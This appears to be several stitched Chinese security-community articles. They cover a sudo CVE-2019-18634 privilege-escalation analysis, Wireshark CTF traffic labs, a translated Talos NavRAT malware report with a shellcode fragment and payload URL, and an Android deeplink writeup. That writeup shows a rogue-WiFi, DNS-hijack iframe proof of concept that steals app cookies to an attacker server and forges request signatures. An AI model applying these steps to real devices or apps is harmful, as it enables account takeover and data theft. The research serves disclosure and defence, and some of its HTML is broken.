#define TGP_STDIN 0x02 /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04 /* read from askpass helper program */
#define TGP_MASK 0x08 /* mask user input when reading */
#define TGP_NOECHO_TRY 0x10 /* turn off echo if possible */
`user_details`保存了用户的信息，包括`uid`和`pid`。
struct user_details {
pid_t pid;
pid_t ppid;
pid_t pgid;
pid_t tcpgid;
pid_t sid;
uid_t uid;
uid_t euid;
uid_t gid;
uid_t egid;
const char *username;
const char *cwd;
const char *tty;
const char *host;
const char *shell;
GETGROUPS_T *groups;
int ngroups;
int ts_cols;
int ts_lines;
};
### 利用思路
在之前的分析中我们提到了`sudo_term_kill`为`\x00`，这导致我们如果想要溢出写`user_details`无法将`signo`覆写为零值，随后程序会认为产生异常信号而杀死进程。而在`pty`作为输入源的情况下这个值为`\x15`。因此我们首先确定要选择`pty`输入。其次，我们需要利用刚才分析的`askpass`的调用链来执行我们的程序以获得`root
shell`。由于`askpass`里的`getln`没有启用`pwfeedback`，所以我们需要先溢出写`user_details`，在这个溢出写的过程中同时改掉`tgetpass_flags`为`TGP_ASKPASS`。因为sudo有三次输入密码的机会，在第一次输入密码失败后由于我们设置了`askpass`，第二次会调用`askpass`指向的外部程序。
在这个程序中，我们设置suid并起一个shell，即可在第二次处理时获得`root shell`。
### exp
这里使用的exp来自[Plazmaz-CVE-2019-18634](https://github.com/Plazmaz/CVE-2019-18634)，其编写思路和我刚才描述的一致。注意在不同的环境下变量的偏移有所不同，最好拿IDA看一下在脚本中手动修改。
## 踩坑
这里的坑其实算是题外话，我之前调试的时候用的是开启了`asan`的binary，结果漏洞无法复现，在IDA中可以看到这里的赋值语句前面多了俩条件，使用gdb进行调试发现这里的`$rdx+0x7FFF8000`的前`0x20`都是0，因为`cp_1
>> 3`向右移动三位，因此对于`0x20 <<
3`的范围内这里都是为`0`，故`!(BYTE)v19`总是为真，而到了0x100输入之后这里的值变为`0xf9`，`v9`为地址，`&7`结果在`[0,7]`之间，必定小于`0xf9`(有符号比较)，故后面无法再溢出，可以看到这个保护措施还是蛮到位的。
while ( 1 )
{
v9 = (unsigned __int8)cp_1 & 7;
v19 = *(unsigned __int8 *)(((unsigned __int64)cp_1 >> 3) + 0x7FFF8000);
if ( (char)v19 > (char)v9 || !(_BYTE)v19 )// 条件？注意前面是有符号比较,0xf9<0
{
*cp_1++ = v12; // 赋值部分
goto LABEL_15;
}
/*
.text:000000000007C6B1 loc_7C6B1: ; CODE XREF: getln+50E↓j
.text:000000000007C6B1 mov rdx, r14
.text:000000000007C6B4 mov rsi, r14
.text:000000000007C6B7 shr rdx, 3
.text:000000000007C6BB and esi, 7
.text:000000000007C6BE movzx edx, byte ptr [rdx+7FFF8000h]
.text:000000000007C6C5 cmp dl, sil
.text:000000000007C6C8 jg short loc_7C6D2
.text:000000000007C6CA test dl, dl
.text:000000000007C6CC jnz loc_7C87D
.text:000000000007C6D2
*/
## 总结
`sudo`作为特权系统软件，稍有不慎就可能被拿来提权，且用户态程序比内核简单许多，近些年已经爆出了诸多相关的漏洞，有很多因为配置问题在实际中几乎不可能被利用，而`CVE-2019-18634`的配置选项并非冷门，影响的范围较广，漏洞的原理较为简单，适合刚入门二进制漏洞的师傅们进行分析和调试。
## 参考
[CVE-2019-18634 sudo 提权漏洞分析]()
[Not hunter2: Buffer Overflow in Sudo via pwfeedback]()
[sudo 历史漏洞回顾]() | 社区文章 |
这是misc系列的最后一篇文章了。这篇文章主要由三个场景构成。
# 网络协议—暴力破解
## 实验目的
掌握暴力破解流量的分析方法
学会利用wireshark的filter过滤出有价值的信息
## 实验环境
* 操作机：Windows XP
* 实验工具：
* Wireshark
## 实验内容
这是一些本地服务被暴力破解的流量。提交Flag格式flag{尝试登录的次数_服务正确的密码}，如尝试98次登录，第98次登陆成功，使用密码123456则flag为flag{98_123456}
### 实验一
整体分析流量包
#### 方法一 使用wireshark的统计功能
wireshark菜单栏提供了功能，协议分级。本流量包全是已经过滤好的FTP流量方便分析。统计 - 协议分析 ：
通过这个功能是可以快捷的分析出流量包的都有一些什么协议，以及各种协议的占比。
#### 方法二 过滤器的应用
通过前面实验对于FTP协议的学习，我们知道当返回码是230的时候用户成功登录。
应用过滤器`ftp.response.code==230`:
然后在第一个数据包右键追踪TCP流：
可以知道登录用户名ubuntu，成功登陆的密码：swings666。
接下来查找暴力破解尝试登录的次数。暴力破解用户的密码，我们可以直接过滤客户端发送的ftp命令：pass，应用过滤器`ftp.request.command
== "PASS"`：
然后通过 统计 - 捕获文件属性 - 统计，已显示：
可以获知一共进行了41此密码尝试。所以综上Flag为flag{41_swings666}
# 网络协议-端口扫描
## 实验目的
了解端口扫描的原理
分析端口扫描工具的具体操作
通过流量还原扫描的结果
## 实验环境
* 操作机：Windows XP
* 实验工具：
* Wireshark2.2
* binwalk for windows
## 实验内容
这是一些黑客使用扫描工具对目标主机进行扫描的流量，请问目标主机开放了哪些端口？对80端口的扫描中，是否有得到可以访问的目录？(flag格式：flag{端口号_端口号_YES/NO}端口号按从小到大排序，如flag{10_15_5111_YES})
### 实验一
先分析目标主机开放的端口。
#### 方法 观察TCP流
* 操作步骤详解
使用wireshark载入scan.pcapng，得益于wireshark会给我们标记不同数据包的颜色，我们可以看到大量的由192.168.233.128发给192.168.233.131不同端口的TCP，SYN报文：
直接跟着这些TCP数据包，往后面看：
可以看到，向21，22，80端口发送的SYN是成功建立了TCP连接的，意味着端口开放。
### 实验二
继续分析流量，查看扫描端口后做了什么。
#### 方法一 观察HTTP流量
先大致浏览一下后面的流量包，我们可以直接应用过滤规则：http过滤http流量分析。
结合之前所讲，我们知道当http访问成功的时候，是会返回http状态码，"200，ok"的。我们目前分析的流量包HTTP数据不是很多，可以直接去看，查找。观察过滤出来的http流量是没有200状态码的，也就没有获得任何目录或文件信息。
##### 注释
有两个方法可以应用过滤器，在大量的数据包中过滤出我们想要得到的东西：
1. 在分组详情中右键，应用过滤器。
1. 使用filter的表达式功能。
### 实验三
分析FTP和ssh操作
#### 方法一 FTP操作
序号为2203及附近的FTP数据包，获取了FTP服务器的banner欢迎信息，然后尝试了采用TLS方式连接和匿名用户登录等操作。
#### 方法二 SSH操作
获取到SSH的版本协议等信息：`SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1`
综上，flag为：flag{21_22_80_NO}
# 网络协议-漏洞分析
## 实验目的
分析入侵者的行为
了解二进制漏洞利用形式
## 实验环境
* 操作机： Windows 7
## 实验工具
* wireshark 2.2.*
## 实验内容
分析入侵者如何拿到服务器权限
### 方法
* 操作步骤详解
过滤HTTP流量，可见192.168.233.128访问了192.168.233.133的80端口，并成功获取了页面。h页面文件大，可以提取出来，使用浏览器打开。
我们得知这是一个`Easy File Sharing Web Server`然后注意到HTTP流量异常之处：
此时应该还不明白这个http数据包的作用。继续分析：
注意到Server192.168.233.133主动向192.168.233.128的8888端口建立了tcp连接，然后192.168.233.128向192.168.233.133发送了大量数据。
这个过程说明server主机已经被控制。通过查找`Easy File Sharing Web
Server`的相关漏洞，我们可以了解到这是一个存在于`Easy File Sharing Web
Server`7.2版本的缓冲区溢出漏洞。而之前畸形的HTTP数据包就是漏洞的payload。
# 总结
到此，这个misc系列就告一段落了。 | 社区文章 |
# NavRAT借美朝会晤话题攻击韩国
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.talosintelligence.com/
原文地址：<https://blog.talosintelligence.com/2018/05/navrat.html>
译文仅供参考，具体内容表达以及含义原文为准。
##
##
## 一、前言
Talos最近发现了一份新型的恶意HWP（Hangul Word
Processor）文档，该文档以韩国用户为攻击目标。如果用户打开了恶意文档，就会下载一个远程访问木马（我们称之为NavRAT），该木马能够在受害者主机上执行各种操作，包括命令执行、键盘记录等功能。
诱饵文件名为“미북 정상회담 전망 및 대비.hwp”（美朝会晤展望.hwp），文档中嵌入了一个EPS（Encapsulated
PostScript）对象，以便在受害者系统上执行恶意shellcode，其目的是从被攻陷的另一个网站上下载恶意载荷并加以执行，新下载的恶意载荷也就是本文的主角：NavRAT。
这是一款经典RAT，可以在受害主机上下载文件、执行命令，也具备键盘记录功能。然而，这款木马的命令及控制（C2）架构非常特别。木马使用合法的Naver邮箱平台，通过电子邮件与受害者交互。恶意软件发送电子邮件来上传文件，通过邮件附件来下载文件。之前我们也曾看到恶意软件滥用过免费的邮箱平台，但这是我们第一次看到使用Naver平台的恶意软件，而该平台是韩国内较为知名的平台。
现在我们还有几个问题，其中最有趣的问题之一就是追踪溯源：谁才是这款恶意软件的幕后黑手。前面我们发表过关于Group123的几篇文章（参考[[1]](https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html&sa=D&ust=1527796940962000)、[[2]](https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html&sa=D&ust=1527796940963000)、[[3]](https://blog.talosintelligence.com/2017/04/introducing-rokrat.html&sa=D&ust=1527796940963000)以及[[4]](https://blog.talosintelligence.com/2018/02/group-123-goes-wild.html&sa=D&ust=1527796940963000)），现在我们有一定的把握认为此次攻击活动以及NavRAT与Group123有关。
##
## 二、恶意文档
### 诱饵文档
此次攻击活动以钓鱼邮件为先锋，钓鱼邮件包含一个HWP文档，文档名为“미북 정상회담 전망 및
대비.hwp”（美朝会晤展望.hwp），该主题借鉴了可能在6月12日举行的[美朝峰会](https://www.cnbc.com/2018/05/31/us-north-korea-meetings-in-new-york-aimed-at-salvaging-summit.html&sa=D&ust=1527796940964000)。文档截图如下所示：
该文档提到了关于美朝会晤的一些疑虑，预计此次峰会将重点关注无核化问题。2018年4月27日，韩国与朝鲜首脑签署了[《为了朝鲜半岛和平、繁荣和统一的板门店宣言》](https://uk.reuters.com/article/uk-northkorea-southkorea-summit-statemen/panmunjom-declaration-for-peace-prosperity-and-unification-of-the-korean-peninsula-idUKKBN1HY193&sa=D&ust=1527796940965000)，此次会晤则是该事件所延伸的一次安排。
该文档中包含前文提到过的EPS对象，用来在目标系统上执行恶意shellcode。这是攻击者在使用HWP文档时常用的攻击方法，我们前面也遇到过并写过分析文档。
### 恶意代码
前面我们也分析过一些恶意文档，从攻击者的角度来看EPS是非常有效的攻击方式，这是一种功能强大的基于栈的脚本语言，如果被恶意使用，可以用来获取其他攻击载荷。文件内容如下所示：
/shellcode <90909090909090909090E800<...redacted…>4D2D6DC95CBD5DC1811111111111111> def
<7B0D0A2756...redacted…>312067657420636C6F736566696C650D0A717569740D0A7D>
token pop exch pop
Exec
shellcode执行后，首先会执行解密过程，从互联网上下载其他载荷。对于本文分析的这个样本，载荷文件所对应的URI为：
hxxp://artndesign2[.]cafe24[.]com:80/skin_board/s_build_cafeblog/exp_include/img.png
该网站为一个合法的韩国网站，我们认为该网站已被攻击者攻陷，用来将最终载荷投递到目标系统上。前面我们在分析针对朝鲜半岛的攻击活动中也看到过这种攻击方式。
样本直接下载这个图像文件，然后在内存中加载并执行shellcode。这是典型的无文件执行方式，只会在受害主机的内存中运行恶意进程。样本会使用如下路径来下载并运行解码后的可执行文件：
%APPDATA%LocalTemp~emp.exe
一旦执行成功，NavRAT会立刻利用`cmd.exe`在目标系统上获取`systeminfo`以及`tasklist`信息，将输出结果写入TMP文件中，并将该文件隐藏在AhnLab目录中。有趣的是，攻击者使用了`>>`操作方法将结果追加到文件中，以便将多个输出结果输入到同一个TMP文件中：
"C:Windowssystem32cmd.exe" /C systeminfo >> "C:Ahnlab$$$A24F.TMP"
"C:WINDOWSsystem32cmd.exe" /C tasklist /v >> "C:Ahnlab$$$A24F.TMP"
##
## 三、NAVRAT
### 木马功能
NavRAT是一款远程访问木马（RAT），可以上传、下载并执行文件。被分析的样本中包含许多日志信息。恶意软件作者将每个动作都记录到文件中（经过编码）。在分析样本中，我们往往很难使用攻击者自己提供的日志记录功能来辅助样本分析，但该样本比较特殊，我们可以利用这个功能让分析过程更加顺畅。
如上图所示，恶意软件在使用API注入进程时提供的日志消息。
NavRAT一开始会将自身（`~emp.exe`）拷贝到`%ProgramData%AhnlabGoogleUpdate.exe`路径中，这里恶意软件借鉴的是韩国较为著名的一家安全公司的程序路径：[AhnLab](http://www.ahnlab.com/&sa=D&ust=1527796940968000)。NavRAT随后创建了一个注册表项，以便下次重启系统后能执行文件拷贝操作，这是较为原始的一种本地持久化方法。前文提到过的日志文件与NavRAT处于同一个目录中，这样一来我们也很容易就能找到并分析其日志文件。
NavRAT支持进程注入功能。通过这种方法，它可以将自身注入正在运行的IE进程中，避免以独立进程方式来运行，减少被检测到的几率。恶意软件可以获取目标用户系统上的按键状态：
这款RAT最有趣的地方在于C2服务器架构。恶意软件使用了Naver邮箱平台来与实际操作者进行交互。
### 命令与控制方式
恶意软件通过Naver邮箱平台与实际操作者交互，所使用的凭据硬编码在样本文件中：
然而在我们的调查过程中，NavRAT无法与这个邮箱地址通信：
[05/30/2018, 17:39:45] NaverUpload Start!!
[05/30/2018, 17:39:46] NaverUpload :PreUploading success
[05/30/2018, 17:39:46] uploading step-1 : HttpSendRequest failed. Err[12150]
[05/30/2018, 17:39:46] ////////////// Response Headers getting failure //////////
[05/30/2018, 17:39:46] NaverUpload :Uploading failed. Try[0]
[05/30/2018, 17:39:47] uploading step-1 : HttpSendRequest failed. Err[12150]
[05/30/2018, 17:39:47] ////////////// Response Headers getting failure //////////
[05/30/2018, 17:39:47] NaverUpload :Uploading failed. Try[1]
[05/30/2018, 17:39:48] uploading step-1 : HttpSendRequest failed. Err[12150]
[05/30/2018, 17:39:48] ////////////// Response Headers getting failure //////////
[05/30/2018, 17:39:48] NaverUpload :Uploading failed. Try[2]
[05/30/2018, 17:39:49] uploading step-1 : HttpSendRequest failed. Err[12150]
[05/30/2018, 17:39:49] ////////////// Response Headers getting failure //////////
[05/30/2018, 17:39:49] NaverUpload :Uploading failed. Try[3]
[05/30/2018, 17:39:51] uploading step-1 : HttpSendRequest failed. Err[12150]
[05/30/2018, 17:39:51] ////////////// Response Headers getting failure //////////
[05/30/2018, 17:39:51] NaverUpload :Uploading failed. Try[4]
[05/30/2018, 17:39:52] UploadProc : UploadFile Err
[05/30/2018, 17:39:52] PreCommProc : UploadProc failed
之所以通信中断，原因在于Naver采取了防护措施。恶意软件很有可能在太多国家中都执行过，因此该账户目前处于锁定状态：
为了重置密码，用户必须提供账户相关信息，或者使用账户所有者的手机进行重置（手机号码归属地为英国）。在目前这种状态下，NavRAT无法正常工作。我们认为恶意软件所有者并不知道Naver已经采取了这种保护机制。
NavRAT可以通过邮件附件来下载并执行文件，也支持删除邮件，同时也能通过Naver账户来发送邮件。我们分析的这个样本会尝试将数据发送给`chioekang59[@daum](https://github.com/daum
"@daum")[.]net`这个地址。
### 历史渊源
在调查过程中，我们尝试过寻找NavRAT的其他样本。我们只识别出2016年5月编译的一个老样本。与本文案例相似，这个老样本使用了一个伪造的AhnLab目录来存放日志文件（`C:\AhnLab\`）。在这个版本中，开发者并没有移除编译路径信息：
N:CodeProjectVC_Code ProjectAttack_Spymailacounts.comsrc_total_20160430 - v10.0(DIV)binPrecomExe(Win32).pdb
我们可以得出一个结论，那就是NavRAT很有可能从2016年开始就已经存在：我们认为当时所对应的版本号为10.攻击者（们）很可能在人们的眼皮底下隐蔽了许多年，我们认为这款恶意软件很少被使用，只用于非常特定的目标。
##
## 四、与Group123的关联
我们在分析与韩国有关的恶意软件时，总是会看到Group123的身影。我们确定了一些证据点，根据Group123之前所具备的TTPs（战术、技术与步骤），我们有一定的把握认为Group123也参与此次攻击事件中。
此次攻击事件所使用的操作方式与Group123组织相同：将EPS对象嵌入HWP文档中，包含恶意shellcode。嵌入对象的shellcode用来下载某个图像文件，而该文件实际上是一个新的shellcode，用来解码出一个嵌入式可执行文件。我们在之前的攻击活动中曾发现Group123使用过完全相同的方法。其中一个例子就是[ROKRAT](https://blog.talosintelligence.com/2017/04/introducing-rokrat.html&sa=D&ust=1527796940972000)，这是我们在2017年4月份发现的另一款远程访问木马，同样针对朝鲜半岛。
EPS对象所使用的shellcode与这个样本并不完全相同，但包含许多相似之处，比如所使用的指令数量、NOP数量以及几乎完全相同的命令布局。如下图所示，左侧为NavRAT，右侧为ROKRAT的shellcode。
我们对下载的图像文件中的shellcode做了相同的分析，发现shellcode并不完全相同，但整体设计非常相似。
此外，我们可以拓宽受害者范围，将公共云平台加入C2服务器架构中。攻击者之前使用的是Yandex、Pcloud、Mediafire、Twitter等平台，现在他们使用的是Naver。这个平台主要在韩国境内使用，连接到这个平台的动作很难被定为恶意活动，恶意流量可以隐藏在全局流量中。
基于这些因素，我们有一定的把握认为NavRAT以及此次攻击活动与Group123有关。恶意软件开发者很有可能不是Group123团队中的人，但采用了相同的感染平台以及操作模式。Talos之前发表过关于Olympic
Destroyer的研究结果，我们可以看到其中包含许多虚假标志。当我们分析NavRAT时，我们并没有看到攻击者刻意去这么处理，没有刻意使用IOC或者虚假标志来干扰研究人员的追踪溯源过程。NavRAT没有使用这种虚假标志，因此我们认为其与Group123组织有较为直接的关系。
##
## 五、总结
韩国现在对高级攻击者来说吸引力依然十足，并且仍将保持这个趋势。这个地区具备地缘政治利益，这是神秘的朝鲜与更为开放的韩国必然带来的一个结果。在此次攻击活动中，攻击者使用了经典的HWP文档来下载并执行之前不为人知的恶意软件：NavRAT。恶意软件开发者借助真实事件来伪造钓鱼文件，以美朝会晤为话题吸引目标用户打开恶意文档。
在过去的18个月中，我们观察过与Group123有关的攻击事件，也发表过一些研究成果，这种方法与这些攻击活动有相似之处：shellcode包含一些共同点，最终载荷位于某个图像文件中，托管于被攻陷的某个网站上。攻击者使用了一个开放平台作为C2服务器。在本文案例中，NavRAT使用了Naver这个邮件服务商作为平台，而之前的ROKRAT使用的是云服务提供商。最后，这两者的受害者拓扑信息与目标区域保持一致。这些元素并不能作为严格的证据，断定NavRAT与ROKRAT之前有所关联，但我们有一定的把握认为NavRAT与Group123有关。
从攻击者的角度来看，使用知名的本地云/邮箱服务提供商是非常明智的选择，因为此时想从合法的流量中识别恶意流量是非常困难的一件事。在本文案例中，如果有太多国家/地区尝试访问邮箱的收件箱，那么邮箱服务商就会锁定这个账户。我们在多个开放沙箱系统上识别出了这个样本，我们认为是这些沙箱多次发起了连接请求。
##
## 六、IOC
恶意HWP文档：`e5f191531bc1c674ea74f8885449f4d934d5f1aa7fd3aaa283fe70f9402b9574`
NavRAT：`4f06eaed3dd67ce31e7c8258741cf727964bd271c3590ded828ad7ba8d04ee57`
在线载荷：`hxxp://artndesign2[.]cafe24[.]com:80/skin_board/s_build_cafeblog/exp_include/img.png`
2016年的NavRAT样本：`e0257d187be69b9bee0a731437bf050d56d213b50a6fd29dd6664e7969f286ef` | 社区文章 |
用户接入恶意WIFI即打开某APP，泄露用户cookie，攻击者可以通过token获取用户手机号、收藏、收货地址等
## 漏洞详情
查看manifest.xml有如下deeplink activity
"com.xxxx.client.android.modules.deeplink.ParseDeepLinkActivity" android:noHistory="true" android:theme="@style/Transparent" android:windowSoftInputMode="0x10">
<intent-filter>
<action android:name="com.xxxx.client.android.activity.HomeActivity"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="scheme"/>
</intent-filter>
</activity>
逆向ParseDeepLinkActivity代码
@Override // android.app.Activity
public void onCreate(Bundle arg13) {
String v0;
e v13;
Intent v1_2;
String frompage;
String v3 = "";
super.onCreate(arg13);
if(s.i()) {
try {
this.uri = this.getIntent().getData();
if(this.uri == null) {
this.finish();
return;
}
e.e.b.a.n.a.d.b();
jb.b("CT_TAG", "uri = " + this.uri);
v3 = this.uri.getQuery();
if(TextUtils.isEmpty(v3)) {
goto label_61;
}
else {
this.schemabean = g.SCHEME_GETURLJSON(v3);
v3 = this.schemabean;
if(((SchemeBean)v3) == null) {
goto label_61;
}
boolean v3_1 = TextUtils.isEmpty(this.schemabean.getFrompage());
goto label_37;
}
goto label_62;
}
catch(Exception v1) {
goto label_174;
}
..
会从查询参数中获取并反列序json，得到结构SchemeBean，之后会根据bean的内容进行派发
if(bean1 != null) {
if(g.a(v1, bean1, v6)) {
return;
}
String v7_1 = bean.getChannelName();
int v8 = -1;
switch(v7_1.hashCode()) {
case -2034194897: {
boolean v7_2 = v7_1.equals("fenlei_detail");
if(v7_2) {
v8 = 18;
}
break;
}
case 3322092: {
if(v7_1.equals("live")) {
v8 = 0;
}
break;
}
case 1288290882: {
if(v7_1.equals("wiki_all_product")) {
v8 = 40;
}
break;
}
case 1843825908: {
if(v7_1.equals("taskreward")) {
v8 = 23;
}
break;
}
case 1991869741: {
if(v7_1.equals("pinpai_detail")) {
v8 = 17;
}
break;
}
...
case 3277: {
if(v7_1.equals("h5")) {
v8 = 60;
}
break;
}
渠道非常多，h5表示要打开h5页面，如下代码会通过路由寻找跳转到对应的activity
case 60: {
if(("1".equals(bean.getLogin())) && !e.e.b.a.b.c.Ya()) {
Ea.a(v1, 0x392FC);
return;
}
b v3_19 = e.a().a("path_activity_zdm_web_browser", "group_route_browser");
v3_19.putstring("url", bean.getLinkVal());
v3_19.putstring("sub_type", "h5");
v3_19.putstring("from", e.e.b.a.u.h.a(v6));
v3_19.t();
goto label_1102;
}
逆向路由注册代码，loadInto为路由统一注册接口，找到对应的activity为HybridActivity
public class o implements b {
@Override // com.xxxx.android.router.api.e.b
public void loadInto(Map arg8) {
arg8.put("path_activity_zdm_web_browser", a.a(e.e.a.c.a.a.a.ACTIVITY, HybridActivity.class, "path_activity_zdm_web_browser", "group_route_browser", null, -1, 0x80000000));
}
}
分析HybridActivity的onCreate方法，里面初始化webview并且loadUrl
@Override // com.xxxx.client.android.base.BaseActivity
protected void onCreate(Bundle arg5) {
super.onCreate(arg5);
this.A = new HybridPresenter(this, this.za(), this.getIntent().getStringExtra("link_type"), this.getIntent().getStringExtra("sub_type"));
if(com.xxxx.client.android.hybrid.b.a.a.TRANSPARENT == this.P().h()) {
int v5 = Build.VERSION.SDK_INT;
if(v5 >= 21) {
int v0 = 0x500;
if(v5 >= 23 && this.P().l() == 1) {
v0 = 0x2500;
}
this.getWindow().getDecorView().setSystemUiVisibility(v0);
this.getWindow().setStatusBarColor(ContextCompat.getColor(this.getContext(), 0x106000D));
}
}
this.getLifecycle().a(this.A);
if(2 == this.A.b(this.getIntent())) {
return;
}
this.La();
this.y = this.init_webview();
this.A.a(this.getIntent());//这里会同步cookie
}
遍历webview加载的jsBridge，发现并没有什么可利用的js接口，暂且不表。回到上文的同步cookie的代码
public static void syncCookie(String arg1) {
ia.syncCookie(arg1, false);
}
public static void syncCookie(String url, boolean arg9) { //arg9固定为false
if(!TextUtils.isEmpty(url) && ((arg9) || (url.contains(".xxxx.com")))) {
try {
jb.b("Nat: webView.syncCookie.url", url);
CookieManager v9 = CookieManager.getInstance();
String oldcookie = v9.getCookie(url);
if(oldcookie != null) {
jb.b("Nat: webView.syncCookie.oldCookie", oldcookie);
}
v9.setAcceptCookie(true);
HashMap v2_1 = Na.a(true);
if(v2_1 != null) {
if(TextUtils.isEmpty(((CharSequence)v2_1.get("sess")))) {
v9.setCookie(".xxxx.com", "sess=;");
}
if(TextUtils.isEmpty(((CharSequence)v2_1.get("ab_test")))) {
v9.setCookie(".xxxx.com", "ab_test=;");
}
if(ia.isContain_smzdm_com(url)) {
Iterator v2_2 = v2_1.entrySet().iterator();
while(true) {
boolean v3 = v2_2.hasNext();
if(!v3) {
break;
}
Object v3_1 = v2_2.next();
Map.Entry v3_2 = (Map.Entry)v3_1;
v9.setCookie(".yying.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");
v9.setCookie(".xxxx.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");
}
v9.setCookie(".xxxx.com", "f=" + Na.a("android"));
v9.setCookie(".xxxx.com", "v=" + Na.a("9.9.10"));
v9.setCookie(".xxxx.com", "coupon_h5=" + com.xxxx.client.base.utils.b.c().a("coupon_h5") + ";");
v9.setCookie("go.xxxx.com", "scene=" + Na.a(Aa.b) + ";");
}
}
String v8_1 = v9.getCookie(url);
if(v8_1 != null) {
jb.b("Nat: webView.syncCookie.newCookie", v8_1);
return;
}
}
catch(Exception v8) {
jb.b("Nat: webView.syncCookie failed", v8.toString());
return;
}
}
}
以上代码的意义是为.xxxx.com和.yying.com设置cookie，如果URL的域名是其子域名，那么webview在访问该URL时会自动带上cookie。但是并没有校验URL是否为HTTPS，这里可以是HTTP，可以构造DNS劫持。
## 攻击过程
搭建恶意WIFI
虚拟机安装kali，再通过apt安装hostapd、dnsmasq和nginx，硬件使用USB无线网卡tplink WN722N。
1、启动热点
在hostapd.conf设置SSID为SZ Airport Free，无认证，这个名字拿到机场相信一定会有所收获
2、搭建本地DNS
在dnsmasq.conf中设置DHCP及DNS，将域名a.xxxx.com解析到我的外网VPS，该VPS上设置nginx的access_log记录cookie。
3、设置captive-portal-login
华为手机进行网络评估时，会访问connectivitycheck.platform.hicloud.com。因此配置DNS使connectivitycheck.platform.hicloud.com解析为192.168.1.1，并在192.168.1.1上设置nginx使其返回302：
并在192.168.1.1/index.html中插入代码使浏览器拉起APP
POC：
{"channelName":"h5","linkVal":"[http://a.xxxx.com/jsloop.html"}](http://a.xxxx.com/jsloop.html)
经过URL编码
<iframe
src="scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D">
<p>手机接入恶意WIFI<br> 点击连接热点SZ Airport Free，会自动通过浏览器拉起什么值得买APP，访问<a
href="[a.xxxx.com/jsloop.html，app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持，所以在VPS的nginx访问日志中拿到用户cookie](http://a.xxxx.com/jsloop.html，app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持，所以在VPS的nginx访问日志中拿到用户cookie)">[a.xxxx.com/jsloop.html，app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持，所以在VPS的nginx访问日志中拿到用户cookie](http://a.xxxx.com/jsloop.html，app设置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持，所以在VPS的nginx访问日志中拿到用户cookie)</a>:<br>
<img
src="[xzfile.aliyuncs.com/media/upload/picture/20210127093008-31019092-603f-1.png](https://xzfile.aliyuncs.com/media/upload/picture/20210127093008-31019092-603f-1.png)"
alt=""></p> <h2>解决签名问题</h2> <p>几乎每一个请求都有签名，现在只拿到cookie还不能成功调用接口<br> <img
src="[xzfile.aliyuncs.com/media/upload/picture/20210127091158-a7197306-603c-1.png](https://xzfile.aliyuncs.com/media/upload/picture/20210127091158-a7197306-603c-1.png)"
alt=""><br> okhttp3的intercept方法中有如下代码，用来计算sign</p> <pre><code>HashMap v5_1 =
new HashMap(); v5_1.put("f", "android"); v5_1.put("v", "9.9.10");
v5_1.put("weixin", this.a()); v5_1.put("time", String.valueOf(d.b())); ...
v8_3.putAll(v5_1); v8_3.put("sign", v1.a(v8_3, "POST")); <---if(v1.b.contains(v0)) { v8_3.remove("time"); v8_3.remove("sign"); } for(Object
v4_5: v8_3.entrySet()) { Map.Entry v4_6 = (Map.Entry)v4_5;
v10_1.a(((String)v4_6.getKey()), ((String)v4_6.getValue())); }</code></pre>
<p>此a方法就是用计算sign的，最后是用md5做摘要</p> <pre><code>private String a(Map arg6, String
arg7) { String v4_1; try { StringBuilder v1 = new StringBuilder(); ArrayList
v2 = new ArrayList(); for(Object v4: arg6.entrySet()) {
v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2); int v3_1; for(v3_1 =
0; v3_1 < v2.size(); ++v3_1) { if(arg6.get(v2.get(v3_1)) != null &&
!"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) {
v1.append("&"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 =
(String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1)));
v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } }
v1.append("&key="); v1.append(ZDMKeyUtil.a().b()); <--- 这里有一个key return
Fa.md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) {
v6.printStackTrace(); return ""; } }</code></pre> <p>这个key通过jni接口获得</p>
<pre><code>static { System.loadLibrary("lib_zdm_key"); } public static
ZDMKeyUtil a() { if(ZDMKeyUtil.a == null) { ZDMKeyUtil.a = new ZDMKeyUtil(); }
return ZDMKeyUtil.a; } public String b() { try { if(ZDMKeyUtil.b == null ||
(ZDMKeyUtil.b.isEmpty())) { ZDMKeyUtil.b = this.getDefaultNativeKey(); return
ZDMKeyUtil.b + ""; } } catch(Exception v0) { v0.printStackTrace(); return
ZDMKeyUtil.b + ""; } return ZDMKeyUtil.b + ""; } private native String
deleteNativeKey() { } private native String getDefaultNativeKey() {
}</code></pre> <p>逆向liblib_zdm_key.so<br> <img
src="[xzfile.aliyuncs.com/media/upload/picture/20210127092918-1358e220-603f-1.png](https://xzfile.aliyuncs.com/media/upload/picture/20210127092918-1358e220-603f-1.png)"
alt=""><br> 可以看到这是一个固定值，因此现在我可以自己计算sign了，写如下java代码即可完成：</p> <pre><code>public
static final String md5(String arg9) { char[] v0 = new char[]{'0', '1', '2',
'3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; try { byte[]
v9_1 = arg9.getBytes(); MessageDigest v1 = MessageDigest.getInstance("MD5");
v1.update(v9_1); byte[] v9_2 = v1.digest(); char[] v3 = new char[v9_2.length *
2]; int v4 = 0; int v5 = 0; while(v4 < v9_2.length) { int v6 = v9_2[v4];
int v7 = v5 + 1; v3[v5] = v0[v6 >>> 4 & 15]; v5 = v7 + 1; v3[v7]
= v0[v6 & 15]; ++v4; } return new String(v3).toLowerCase(); }
